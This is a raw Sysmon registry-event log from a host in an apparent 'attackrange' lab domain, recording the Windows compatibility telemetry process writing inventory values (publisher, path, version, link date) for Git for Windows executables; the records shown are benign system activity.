13241300x800000000000000036772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-submodule--h|a577781a96a63623\Publisherthe git development community 13241300x800000000000000036771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-submodule--h|a577781a96a63623\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-submodule--helper.exe 13241300x800000000000000036770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stripspace.e|7f2324fbc967deaa\BinProductVersion2.33.0.2 13241300x800000000000000036769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stripspace.e|7f2324fbc967deaa\LinkDate08/24/2021 10:09:53 13241300x800000000000000036768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stripspace.e|7f2324fbc967deaa\Publisherthe git development community 13241300x800000000000000036767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stripspace.e|7f2324fbc967deaa\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-stripspace.exe 13241300x800000000000000036766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-status.exe|f379629630fb27d9\BinProductVersion2.33.0.2 13241300x800000000000000036765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-status.exe|f379629630fb27d9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-status.exe|f379629630fb27d9\Publisherthe git development community 13241300x800000000000000036763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-status.exe|f379629630fb27d9\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-status.exe 13241300x800000000000000036762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stash.exe|a40e77c71ac2aede\BinProductVersion2.33.0.2 13241300x800000000000000036761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stash.exe|a40e77c71ac2aede\LinkDate08/24/2021 10:09:53 13241300x800000000000000036760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stash.exe|a40e77c71ac2aede\Publisherthe git development community 13241300x800000000000000036759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stash.exe|a40e77c71ac2aede\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-stash.exe 13241300x800000000000000036758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stage.exe|f500735b2eec0385\BinProductVersion2.33.0.2 13241300x800000000000000036757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stage.exe|f500735b2eec0385\LinkDate08/24/2021 10:09:53 13241300x800000000000000036756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stage.exe|f500735b2eec0385\Publisherthe git development community 13241300x800000000000000036755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-stage.exe|f500735b2eec0385\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-stage.exe 13241300x800000000000000036754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sparse-check|f4825f9ae19d20b3\BinProductVersion2.33.0.2 13241300x800000000000000036753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sparse-check|f4825f9ae19d20b3\LinkDate08/24/2021 10:09:53 13241300x800000000000000036752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sparse-check|f4825f9ae19d20b3\Publisherthe git development community 13241300x800000000000000036751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sparse-check|f4825f9ae19d20b3\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-sparse-checkout.exe 13241300x800000000000000036750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show.exe|6e9a2dd47e6867ba\BinProductVersion2.33.0.2 13241300x800000000000000036749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show.exe|6e9a2dd47e6867ba\LinkDate08/24/2021 10:09:53 13241300x800000000000000036748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show.exe|6e9a2dd47e6867ba\Publisherthe git development community 13241300x800000000000000036747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show.exe|6e9a2dd47e6867ba\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-show.exe 13241300x800000000000000036746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-ref.exe|f7f4cf76175660d6\BinProductVersion2.33.0.2 13241300x800000000000000036745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-ref.exe|f7f4cf76175660d6\LinkDate08/24/2021 10:09:53 13241300x800000000000000036744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-ref.exe|f7f4cf76175660d6\Publisherthe git development community 13241300x800000000000000036743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-ref.exe|f7f4cf76175660d6\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-show-ref.exe 13241300x800000000000000036742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-index.e|8286f2c5e311f4dd\BinProductVersion2.33.0.2 13241300x800000000000000036741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-index.e|8286f2c5e311f4dd\LinkDate08/24/2021 10:09:53 13241300x800000000000000036740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-index.e|8286f2c5e311f4dd\Publisherthe git development community 13241300x800000000000000036739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-index.e|8286f2c5e311f4dd\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-show-index.exe 13241300x800000000000000036738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-branch.|e7aa2817ea598ca5\BinProductVersion2.33.0.2 13241300x800000000000000036737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-branch.|e7aa2817ea598ca5\LinkDate08/24/2021 10:09:53 13241300x800000000000000036736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-branch.|e7aa2817ea598ca5\Publisherthe git development community 13241300x800000000000000036735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-show-branch.|e7aa2817ea598ca5\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-show-branch.exe 13241300x800000000000000036734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-shortlog.exe|6690a566fa773a48\BinProductVersion2.33.0.2 13241300x800000000000000036733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-shortlog.exe|6690a566fa773a48\LinkDate08/24/2021 10:09:53 13241300x800000000000000036732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-shortlog.exe|6690a566fa773a48\Publisherthe git development community 13241300x800000000000000036731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-shortlog.exe|6690a566fa773a48\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-shortlog.exe 13241300x800000000000000036730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sh-i18n--env|4053f372896ace9d\BinProductVersion2.33.0.2 13241300x800000000000000036729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sh-i18n--env|4053f372896ace9d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sh-i18n--env|4053f372896ace9d\Publisherthe git development community 13241300x800000000000000036727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-sh-i18n--env|4053f372896ace9d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-sh-i18n--envsubst.exe 13241300x800000000000000036726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-send-pack.ex|da651d512f55be29\BinProductVersion2.33.0.2 13241300x800000000000000036725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-send-pack.ex|da651d512f55be29\LinkDate08/24/2021 10:09:53 13241300x800000000000000036724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-send-pack.ex|da651d512f55be29\Publisherthe git development community 13241300x800000000000000036723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-send-pack.ex|da651d512f55be29\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-send-pack.exe 13241300x800000000000000036722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rm.exe|8e86f766b6479aa7\BinProductVersion2.33.0.2 13241300x800000000000000036721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rm.exe|8e86f766b6479aa7\LinkDate08/24/2021 10:09:53 13241300x800000000000000036720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rm.exe|8e86f766b6479aa7\Publisherthe git development community 13241300x800000000000000036719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rm.exe|8e86f766b6479aa7\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-rm.exe 13241300x800000000000000036718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-revert.exe|7aa27432655fad81\BinProductVersion2.33.0.2 13241300x800000000000000036717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-revert.exe|7aa27432655fad81\LinkDate08/24/2021 10:09:53 13241300x800000000000000036716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-revert.exe|7aa27432655fad81\Publisherthe git development community 13241300x800000000000000036715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-revert.exe|7aa27432655fad81\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-revert.exe 13241300x800000000000000036714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-parse.ex|d6a8e773756ed1d6\BinProductVersion2.33.0.2 13241300x800000000000000036713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-parse.ex|d6a8e773756ed1d6\LinkDate08/24/2021 10:09:53 13241300x800000000000000036712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-parse.ex|d6a8e773756ed1d6\Publisherthe git development community 13241300x800000000000000036711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-parse.ex|d6a8e773756ed1d6\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-rev-parse.exe 13241300x800000000000000036710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-list.exe|269a9e57005af766\BinProductVersion2.33.0.2 13241300x800000000000000036709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-list.exe|269a9e57005af766\LinkDate08/24/2021 10:09:53 13241300x800000000000000036708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-list.exe|269a9e57005af766\Publisherthe git development community 13241300x800000000000000036707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rev-list.exe|269a9e57005af766\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-rev-list.exe 13241300x800000000000000036706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-restore.exe|8e7fc8b24c23bae3\BinProductVersion2.33.0.2 13241300x800000000000000036705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-restore.exe|8e7fc8b24c23bae3\LinkDate08/24/2021 10:09:53 13241300x800000000000000036704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-restore.exe|8e7fc8b24c23bae3\Publisherthe git development community 13241300x800000000000000036703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-restore.exe|8e7fc8b24c23bae3\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-restore.exe 13241300x800000000000000036702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reset.exe|36c5794b3e41dd77\BinProductVersion2.33.0.2 13241300x800000000000000036701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reset.exe|36c5794b3e41dd77\LinkDate08/24/2021 10:09:53 13241300x800000000000000036700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 